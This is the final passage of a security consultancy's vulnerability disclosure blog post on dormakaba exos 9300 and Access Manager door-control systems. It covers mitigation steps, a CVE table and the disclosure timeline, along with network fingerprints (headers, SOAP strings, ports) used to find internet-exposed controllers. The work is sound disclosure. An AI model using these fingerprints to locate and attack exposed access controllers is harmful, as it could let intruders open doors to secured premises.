It is a requirement by dormakaba that the box containing the access managers is placed in the secured area outside of the reach of potential unauthorized personnel or attackers. Which makes absolutely sense, as an attacker would be otherwise able to manipulate the hardware (e.g., directly switching relays to open doors) or to access the physical access control network to exploit the vulnerabilities documented in this blogpost. This requirement should be known and enforced by all the authorized installers. In real life this might look very different. We observed some installations in the wild that do not adhere to this principle: 

  • During security assessments at customer sites installed on the outside or unsecured zone.
  • During random encounters (e.g., on a very large European airport under benches in the check-in area).

Last but not least: Worst case scenario…

The last remark about network access is probably the worst that can happen to physical access control installations. During our research we used the well-known services Shodan and Censys to look for artefacts of installations available on the internet. We expected to find nothing. A physical access control system has to be installed in a secure zone segmented away from everything else – correct? Oh boy were we wrong.

We suspect that either

  • the issue resulted from end-user misconfiguration or operational error, or
  • the issue resulted from an authorized dormakaba partner’s misconfiguration or operational error, or
  • forgotten or misconfigured test environments.

The latter is more likely as we see local clusters in certain regions of the world. Let's take a look at the results from Shodan and Censys. We fingerprinted the access managers via unique markers. During the last few months a few dozen devices were available online and we immediately informed dormakaba through our CVD process.

To identify the hosts available on the internet we used the following fingerprints:

  • HTTP Header: gSOAP/2.7
  • POST Response: ICommunicationHub2IDMMService
  • Ports: 8002, 4000, 4502, 4505
  • TCP Sockets with KA KA heartbeats (Trace Client)

Using those fingerprints, we were able to identify some access managers directly available via the internet. It was quite suspicious that they popped up in clusters and mostly in specific countries like Spain and the Netherlands, sometimes Switzerland. Most of the identified access managers on the internet had their web service including the login exposed as well as the SOAP service (Port 8002) to directly control the connected relays and doors.

It would be possible to exploit the vulnerabilities detailed in this blogpost to open doors via the internet. 

An example can be seen in the figure 39 (source: https://search.censys.io).

Solution

In general, we recommend the following workflow when it comes to mitigating the vulnerabilities and issues mentioned in this blogpost:

  • Check your exos 9300 and access manager version numbers.
  • Contact your dormakaba partner.
    • The vulnerabilities detailed in this blogpost have been worked on and fixed by dormakaba over the past 18 months.
    • Chances are high that your devices are already up to date, or they have already the necessary steps available for you to mitigate all (remaining) issues in your environment.
  • Clarify with your dormakaba partner:
    • If there are any manual steps that must be executed after an update to fully mitigate the vulnerabilities.
    • If the official hardening guide in the latest version is already implemented.
    • How to implement mTLS for the SOAP API in your environment
  • If old hardware revisions are in use (e.g., access manager 9200-k5) replace them as soon as possible with newer hardware.
  • Review the website provided by dormakaba which was created specifically for all the vulnerabilities documented in this blogpost for more details and insights from the manufacturer side. The vendor's security page is available at the following location:
    https://www.dormakabagroup.com/en/security-advisories

Affected Hardware & Software 

The following table shows an overview of all affected hardware and firmware versions. Due to the various versions of access managers, we replaced the different versions with XX for better readability. XX can be replaced with 00, 30, or 90. (e.g. Access Manager 9200, 9230, 9290).

Vulnerability CVE CVSS-Score Affected Product Affected Version
Unauthenticated SOAP API CVE-2025-59090 9.3 Kaba exos 9300 <4.4.0 manual mitigation needed >=4.4.0 with 92xx-K7 secured by default
Hardcoded Legacy Accounts Allowing Control Over Access Managers CVE-2025-59091 9.3 Kaba exos 9300 <4.4.1 manual mitigation needed >=4.4.1 secured by default
Unauthenticated RPC Service CVE-2025-59092 8.7 Kaba exos 9300 < 4.4.0
Insecure Password Derivation Function for Database Administrator CVE-2025-59093 8.5 Kaba exos 9300 All versions, manual mitigation needed!
Local Privilege Escalation in exos 9300 System management CVE-2025-59094 8.4 Kaba exos 9300 All versions, manual mitigation needed!
Hard-coded Key for PIN Encryption CVE-2025-59095 6.8 Kaba exos 9300 <4.3.3
Weak Default Password CVE-2025-59096 4.6 Kaba exos 9300 All versions, manual mitigations needed!
Unauthenticated SOAP API CVE-2025-59097 9.3 Access Manager 92xx-k5 Access Manager 92xx-k7 92xx-K5: All versions 92xx-K7: Older than BAME 06.00 must be configured
Trace Functionality Leaking Sensitive Data CVE-2025-59098 8.7 Access Manager 92xx-k5 Access Manager 92xx-k7 92xx-K5: <XAMB 04.06.212 92xx-K7: <BAME 05.02.156
Unauthenticated Path Traversal CVE-2025-59099 8.8 Access Manager 92xx-k5 Access Manager 92xx-k7 92xx-K5: <XAMB 04.05.21 92xx-K7: <BAME 04.05.16
Unauthenticated Access to the SQLite Database CVE-2025-59100 5.9 Access Manager 92xx-k5 <XAMB 04.06.212
Insufficient Session Management CVE-2025-59101 7.7 Access Manager 92xx-k5 Access Manager 92xx-k7 92xx-K5: <XAMB 04.06.212 92xx-K7: <BAME 04.07.268
Secrets Stored in Plaintext in Database CVE-2025-59102 6.9 Access Manager 92xx-k5 <XAMB 04.06.212
Weak Default Passwords for SSH Access CVE-2025-59103 9.2 Access Manager 92xx-k7 <BAME 05.01.88
Unlocked Bootloader CVE-2025-59104 7.0 Access Manager 92xx-k7 <BAME 06.00
Unencrypted Flash Storage CVE-2025-59105 7.0 Access Manager 92xx-k5 Access Manager 92xx-k7 92xx-K5: All versions 92xx-K7: <BAME 06.00
Web Server Running with Root Privileges CVE-2025-59106 - Access Manager 92xx-k7 <BAME 06.00
Static Firmware Encryption Password CVE-2025-59107 8.5 Access Manager 92xx-k5 All versions
Weak Default Passwords CVE-2025-59108 9.2 Access Manager 92xx-k5 Access Manager 92xx-k7 92xx-K5: all versions 92xx-K7: <BAME 04.07.268
UART Leaking Sensitive Data CVE-2025-59109 5.1 Registration Unit 9002 <SW0039
Missing Transport Layer Encryption - - Access Manager 92xx-k5 Access Manager 92xx-k7 92xx-K5: All versions 92xx-K7: <BAME 06.00 (except Trace Client)
Potential Command Injection/Argument Injection - - Access Manager 92xx-k7 <BAME 06.00

Responsible Disclosure & Timeline

The whole research was communicated to dormakaba under the terms of coordinated vulnerability disclosure. Although we encountered initial hiccups to contact the right people in the organization of dormakaba we finally succeeded after a few tries. After direct contact with the right people was established, everything went smoothly. 

We especially want to thank dormakaba's whole involved team (technical & organizational!) for the exceptionally good cooperation, communication and support during the past 18 months. Sadly, responsible disclosure is not always as smooth as we experienced it with dormakaba. The detailed timeline can be reviewed in the three security advisories published alongside this blogpost. 

 

dormakaba image sources: dormakaba.com

 

About the author

Werner Schober
SEC Consult
Principal Security Consultant

Werner specializes in all things related to IT infrastructure. During the day he is trying to make the networks, services, software and appliances in Windows and Unix Environments of customers safer – during the night he is working in the SEC Consult Vulnerability Lab to identify zero day vulnerabilities in a broad range of products.

Clemens Stockenreitner
SEC Consult
Senior Security Consultant

As part of the infrastructure team at SEC Consult, Clemens heavily focuses on security assessments of Windows systems and Active Directory as well as Unix-based systems. With his infrastructure expertise, he helps organizations uncover and remediate vulnerabilities, strengthening their overall security posture.